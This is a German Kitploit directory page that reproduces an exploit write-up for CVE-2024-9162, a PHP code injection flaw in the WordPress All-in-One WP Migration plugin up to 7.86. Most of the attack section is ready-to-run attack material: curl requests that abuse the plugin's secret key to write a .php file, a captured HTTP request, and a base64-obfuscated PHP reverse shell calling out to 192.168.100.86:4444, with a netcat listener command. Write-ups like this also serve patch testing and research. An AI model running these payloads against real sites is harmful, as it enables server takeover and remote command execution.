Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-9162 — All-in-One WP Migration and Backup <= 7.86 - Authentifiziert (Administrator+) Beliebige PHP-Code-Injektion | Kitploit
Tools/GitHubGitHub/d0n601/cve-2024-9162
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubd0n601/cve-2024-9162

CVE-2024-9162

All-in-One WP Migration and Backup <= 7.86 - Authentifiziert (Administrator+) Beliebige PHP-Code-Injektion

Repository anzeigen
72vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-9162

All-in-One WP Migration and Backup <= 7.86 - Authentifizierte (Administrator+) Beliebige PHP-Code-Injection

Das All-in-One WP Migration Plugin für WordPress ist aufgrund fehlender Dateityp-Validierung während des Exports in allen Versionen bis einschließlich 7.86 anfällig für beliebige PHP-Code-Injection. Dies ermöglicht es authentifizierten Angreifern mit Administrator-Zugriff oder höher, eine Exportdatei mit der Erweiterung .php auf dem Server der betroffenen Website zu erstellen und beliebigen PHP-Code hinzuzufügen, was eine Remote-Code-Ausführung ermöglichen kann.

TL;DR Exploits

  • CVE-2024-9162.sh
  • CVE-2024-9162.py

Details

Der ai1wm_secret_key ist eine 12-stellige alphanumerische Zeichenfolge, die bei der Initialisierung des Plugins erstellt wird. Der Schlüssel wird nie rotiert, läuft nicht ab und wird im Klartext in der wp_options-Tabelle gespeichert.

root@kitploit:~
mysql> SELECT option_name,option_value FROM wp_options WHERE option_name='ai1wm_secret_key';
+------------------+--------------+
| option_name      | option_value |
+------------------+--------------+
| ai1wm_secret_key | PwrqqK3UHQJo |
+------------------+--------------+
1 row in set (0.00 sec)

Grundlegender Proof of Concept:

Dadurch wird eine PHP-Datei erstellt, die einen Aufruf von phpinfo(); enthält, der durch eine bessere Payload ersetzt werden kann, wie im Abschnitt zur manuellen Reproduktion gezeigt. Beachten Sie, dass außer dem Secret-Key-Parameter keine Autorisierung erforderlich ist.

root@kitploit:~
VICTIM_URL=https://wordpress.hacker
XFILE_NAME=lolz.php
XDIRECTORY_NAME=testauto
SECRET_KEY=PwrqqK3UHQJo

PRIORITY_INT=30
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=50
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=60
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

Screenshot vom 13.08.2024 15:36:42

Manuelle Reproduktion:

Es ist zu beachten, dass die über diese Schritte erstellte php-Datei zunächst in wp-content/plugins/all-in-one-wp-migration/storage/EXPLOITDIR/EXPLOITFILE.php erscheint, bevor sie vom Skript gelöscht und nach wp-content/ai1wm-backups/reverse_shell.php verschoben wird.

  • Melden Sie sich an, klicken Sie auf „All-in-One WP Migration Export“, um auf die Seite „Export Site“ Seite zuzugreifen.

    • Screenshot vom 12.08.2024 15:40:48
  • Geben Sie im Find- und Replace with-Feld <anderer-Text> in der Datenbank ein.

  • Geben Sie * in das Find-Feld ein.

  • Geben Sie Ihre konstruierte PHP-Payload in das Replace With-Feld ein (phpinfo();, Webshell usw.).

    • Beispiel für eine Reverse Shell: <?php eval( base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs=')); ?>. Dies wird dekodiert zu exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.100.86/4444 0>&1' ");.
  • Screenshot vom 12.08.2024 15:38:01

  • Richten Sie Burp oder ein ähnliches Tool ein und beginnen Sie, den Traffic zu proxyen. Klicken Sie dann auf die grüne Option „Export To -> File“.

    • Screenshot vom 12.08.2024 15:42:30
Tool herunterladen
  • Screenshot vom 12.08.2024 15:39:38
  • Leiten Sie die erste Anfrage weiter: POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/1.1, ohne Änderungen.

  • Leiten Sie weiter: GET /wp-admin/admin-ajax.php?action=ai1wm_status&ai1wm_import=1&secret_key=OYXj1AIdQUnc&_=1723495770325 HTTP/2.

  • Abfangen der Anfrage an POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2

    • Ändern Sie den Parameter archive auf einen beliebigen Namen mit der Erweiterung .php und leiten Sie die Anfrage weiter.
    • root@kitploit:~
        POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2
        Host: wordpress.hacker
        Cookie: wordpress_sec_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7Cc65dd152f0c184235df35d5dfa28c50624b9f9a2fb01efb5077b150df76d286f; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7C5c992aef75e3896a0909b9d480ae9e6505d89428c6975a490c30ce5b791c6bfe; wp-settings-time-1=1723500701
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate, br
        Referer: https://wordpress.hacker/wp-admin/admin.php?page=ai1wm_export
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 883
        Origin: https://wordpress.hacker
        Dnt: 1
        Sec-Gpc: 1
        Sec-Fetch-Dest: empty
        Sec-Fetch-Mode: cors
        Sec-Fetch-Site: same-origin
        Te: trailers
              action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+eval(+base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs%3D'))%3B+%3F%3E&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=1j5v4ss1ls45&file=1&secret_key=OYXj1AIdQUnc&priority=10&archive=reverse_shell.php
      
    • Screenshot vom 12.08.2024 15:28:15
    • Deaktivieren Sie das Abfangen und lassen Sie alle anderen Anfragen durchlaufen, bis der Vorgang abgeschlossen ist und ein Download-Button auf dem Bildschirm erscheint.
      • Screenshot vom 12.08.2024 15:30:06
    • Beachten Sie, dass der Link zum Download ein Link zu einer PHP-Datei ist, die die Payload enthält: https://wordpress.hacker/wp-content/ai1wm-backups/reverse_shell.php.
    • Starten Sie einen netcat-Listener auf einem Angriffsrechner, um die Reverse Shell zu empfangen: nc -lnvp 4444.
    • Klicken Sie auf den Download-Button und fangen Sie die Reverse Shell ab.
      • Screenshot vom 12.08.2024 15:34:27